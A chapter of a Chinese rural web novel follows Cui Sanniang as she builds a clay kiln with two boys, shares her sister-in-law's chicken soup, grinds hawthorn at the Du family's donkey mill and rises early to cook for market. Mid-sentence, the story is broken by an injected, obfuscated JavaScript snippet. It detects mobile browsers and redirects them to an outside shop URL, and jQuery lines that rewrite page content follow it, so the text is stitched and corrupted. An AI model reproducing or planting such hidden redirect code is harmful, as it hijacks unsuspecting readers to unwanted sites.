小院的空地上,崔云南和柳木森手握鹅卵石,哼哧哼哧的砸着黏土块,一边砸,一边将里面的石子、枯树枝挑出来扔在一旁。
一开始,柳木森和崔云南泾渭分明,一人一边,只顾埋头干活,谁也不理谁,而且都卯着劲儿,比拼谁砸的又快又多,没多久,二人脑门子上就渗出了汗珠。
崔老太太在屋里听了一耳朵,知道崔三娘捣鼓这些土块是要做窑,她不大懂,不过近日三娘莫名开了窍,给家里开了财路,崔老太太现在对三娘要做的事,向来鼎力支持。
她哄好了安安,将小家伙塞给桂氏抱着,走到院里张罗:“你俩悠着点劲儿,休息会,过来喝点水。”
崔云南和柳木森也累了,接过崔老太太递来的碗,仰头咕嘟痛饮。
“喂,听说你很会捏泥人?”崔云南端着空碗先开口。
柳木森点头:“是啊。”
“跟谁学的?”崔云南撂下空碗。
柳木森也将碗放下:“我家的厨子。”
见柳家这小子有问必答,还算实在,而且刚才一起做活儿,也算有点交集了,崔云南吞吞口水,抠了抠指缝:“那,有空我和你学,怎么样?”
柳木森有些意外:“没问题。”言罢笑着添一句,“等泥窑做完,我就教你。”
一番闲聊后,两个人渐渐熟稔,再次开工的时已经蹲到了一起,互相配合着捶打土块,崔三娘提着河沙还有一捆干草回到家时,两个人正凑堆说话。
原来柳木森迫不及待,和崔云南说起捏泥人的要点和诀窍来。崔三娘笑眯眯调侃:“柳先生这么快就开课了,怎么不等我。”
崔三娘很喜欢黏土,只是还未尝试过就来到了这个世界,想来这捏泥人和捏黏土也差不多嘛。
不过,正事要紧,这关于泥人的话题不得不暂时抛开,他们得和泥了。
崔三娘先用水将基本成粉末状的黏土淋湿,接着掺入沙子、稻草,一点点重复加水、搅拌,这步骤与和面很相似,极考验耐性,在不断的重复下,黏土终于变得柔软而有韧性。
“不错,可以开始下一步了。”
崔三娘在院里选了块平整背风的地方,然后领着崔云南和柳木森去河边,将她看中的一块又平又光滑的大青石抬回来,安置在空地上。
一切准备就绪,接下来就要正式制作泥窑了。
崔三娘和两个帮手简略说了流程,三人齐动手,先在石板上用黏土做了个三四寸厚的窑床,崔三娘又跑崔二郎屋里,从他床下扒出他的背篓,倒扣在窑床上,当做内衬。
“啪啪。”“砰砰。”
拍打泥土的声音不断的在崔家小院中回响,一个个泥团被手掌拍瘪,覆在竹篓上,干巴巴的竹篓生出了泥做的血肉,院里很快出现一个高一尺半,宽两尺,圆圆扁扁的黑家伙,像个倒扣的黑色大箩筐。
三人聚精会神,个个干得起劲,待日上中空,终于做完了最后一步后。崔三娘直腰扭了扭酸痛的部位:“太好了,可以收工了。”
柳四娘柳五娘两个也赶着羊回了家。
崔老太太从灶间探出头:“云南、木森,把你们都累着了,就在在我家吃晌午吧,我都做好饭了。”
这饭菜还算丰富,有昨日剩的炸肉丸,崔老太太顾念俩孩子为自家出了力气,又蒸了蛋羹,配上点酱菜,一罐杂粮粥,小木桌上摆得满当当。
桂氏在屋里吃她的月子餐,依旧是鸡汤加白面馒头,如今桂氏顿顿都吃鸡,晌午吃,夜里吃,一连好几日,吃得她一闻见鸡汤味就发腻。
“三娘,你过来。”
用了午饭,崔云南和柳木森家去了,崔三娘准备歇晌,路过西厢时,桂氏一个劲朝她招手。
崔三娘进屋后,桂氏又叫她掩上门。
“嫂子,什么事?”崔三娘见这阵仗,怪忐忑的,还以为她要问崔大郎的事。
今日一早,崔大郎去柳家借马,又进了城。
“给。”桂氏笑着端出一只碗,里面是温热的鸡汤鸡肉,“赶快吃。”
从小安安诞生,崔家隔日杀一只鸡给桂氏补身起,崔老太太就将话点明,鸡汤鸡肉只能桂氏吃,桂氏吃不完的想怎么处置,则由她的便,家里其他人不能眼馋。
僧多粥少,这是无奈之举。
崔三娘嗅着香醇的鸡汤味,连连摇头:“嫂子的月子餐,我再馋也不能吃。”
桂氏倚在床沿上,抱着小安安轻轻拍打安抚:“得了,快吃,别废话。”
崔三娘咽了下口水,不是她不争气,实在是原身大病初愈,太缺乏营养和油水了,何况再推拒下去叫家里其他人见了,反倒不好,于是三下五除二,将一碗鸡汤鸡肉解决干净。
“嫂子,下回进城,我给你捎好吃的。”
桂氏笑着点点头。
-
下午,崔大郎还没回家,崔三娘又去二爷爷家,把躺在床上呼呼大睡的崔云南叫醒。
崔云南正做吃大席的美梦,眼瞅着又肥又糯的肘子肉要吃到嘴,就被崔三娘喂喂叫着拍醒了。
崔云南怅然有失:“啥事?”
“我大哥还没回来,你下午有事不?若得空闲,陪我们上老杜家一趟吧。”
老杜家做酱菜、酿私酒,还榨油磨面,崔三娘准备借老杜家的磨具,将那一堆山楂干都磨成粉。
二爷爷家有好几个壮劳力,崔云南是家中老小,需要他干的活儿很少,可整日闲晃总被娘骂,因此乐得寻由头出去:“没问题。”
崔三娘在二爷爷家的院子里等了半刻,帮婶子晾了才洗好的被褥。
崔云南在这空当里找出了家里农忙时驮粮的两轮车,将车推到崔家小院,把几大口袋山楂干抬上车,一行几人沿着村路往老杜家去。
老杜夫妇俩上了年纪,都是知天命之年,但都脸色红润,筋骨强健,一看就是天生精力好体力也好的人,难怪能在乡野凭本事置下一番家业,崔三娘心生佩服。
她轻快的喊了一嗓:“杜叔,杜婶,借你们的石磨用用。”
杜婶正在腌酱菜,抬头看来:“成啊,十文钱,石磨在后院,你们自己去吧。”
其实村里不少人家有石磨,崔家原本也有,坏了之后没顾上修理,再说平常人家的都是小石磨,要手推,还要不断的往石磨里倒原料,累人的紧,而老杜家有大石磨,用驴来拉动,花小钱省大气力,崔三娘觉得很划算。
“吱嘎。”“吱嘎。”
老杜家后院里,黑驴眼前蒙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480628|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着布,迈着蹄子转圈圈,与此同时,底石和磨盘不断的转动摩擦,发出规律的声响。
这堆山楂磨完要些时间,崔三娘崔云南闲着没事,就有一搭没一搭帮杜婶处理酱菜。
老杜家的酱菜口味真算不得出色,但胜在品种齐全,价格实惠,萝卜、芥菜、黄瓜、豆角、黄豆、豆豉,咸酸香辣,就没他家不做的。
看看老杜家的青砖房,又看看杜婶耳上的金坠子,崔三娘心中充满干劲,这就是她在这世界上的榜样呐。
正准备和杜婶说说话,取点经,一旁切萝卜的崔云南鬼鬼祟祟开口:“三娘,下回你啥时进城?”
崔三娘看他一眼:“明天是赶集日,我估计后天,或大后日会进城。”
崔云南笑起来:“那你帮我买支簪子,要桃花的。”
这……有情况呐。
崔三娘抿嘴直乐,将崔云南看得很不好意思:“行还是不行,你倒是说句话。”
“冲我俩的关系,当然不成问题。”崔三娘不逗他了,“只是,你为啥不自己去?城里不仅有簪子,手帕香粉也多得是,反正现在农活不多,不如自己去选。”
崔云南气哼哼:“我倒想进城,可自从你二哥偷跑去投军后,家里就不准我随便进城,不仅不能进城,连出个村都盯着我!”
这真是,城门失火,殃及池鱼。
崔三娘干咳一声:“你就说和我们一块去,我会负责看着你,绝不赴二哥后尘。”
崔云南想了想:“昨儿回家后,我娘我奶都夸你,跟着你进城,她们应该不会拦着,我夜晚回去说说看。”
“一定成的!”崔三娘说着站起来,“驴儿不走了,我们看看去。”
时间一晃到了日暮时分,崔三娘终于将山楂粉全部处理妥帖,装到了一只大陶瓮里,搁到了崔二郎的床下。
眼瞅着天就要黑了,崔云南又留在家里吃了暮食,这才赶着他的羊往家走。
因第二日要赶集,崔三娘要做的吃食多,天一抹黑,她就睡下了。
五更时分,村里一片寂然,崔三娘就摸黑起床,穿上外杉,点了盏油灯,预备往灶间去。
路过崔老太太和林氏床前时,她俩也跟着起了身,三人推开房门,一阵寒风呼呼灌入室内,冷得人打抖,借着朦胧的月光,可以见到院里又落满了枯叶。
“真是一阵风一阵寒呐。”崔老太太搓搓手,对林氏道,“趁着天还没彻底变凉,咱们得勤快上山,把过冬的柴火备足了。”
崔三娘裹紧衣裳:“奶奶,娘,咱们快到灶间去。”
今日除去吴三婆婆要的饼,崔三娘还要多做三十来个拿到集市上卖,另外做上两斤南瓜饼,还要做一样新鲜吃食,萝卜丝饼。
这些东西零零总总加起来,费时费工,三人得赶紧忙碌起来,才能赶在清晨时分出发做买卖。
崔老太太感慨:“我是累惯了的,三娘正是缺觉的时候,等回到了集上,我和你娘卖东西,你在旁边眯一会吧。”
崔三娘睡得早,虽半夜起床,但睡足了八个小时,倒还好。
“我精神着呢,一想到挣钱,我就更加精神!”
“变小财迷了。”崔老太太一乐呵,“不过呢,我也是!”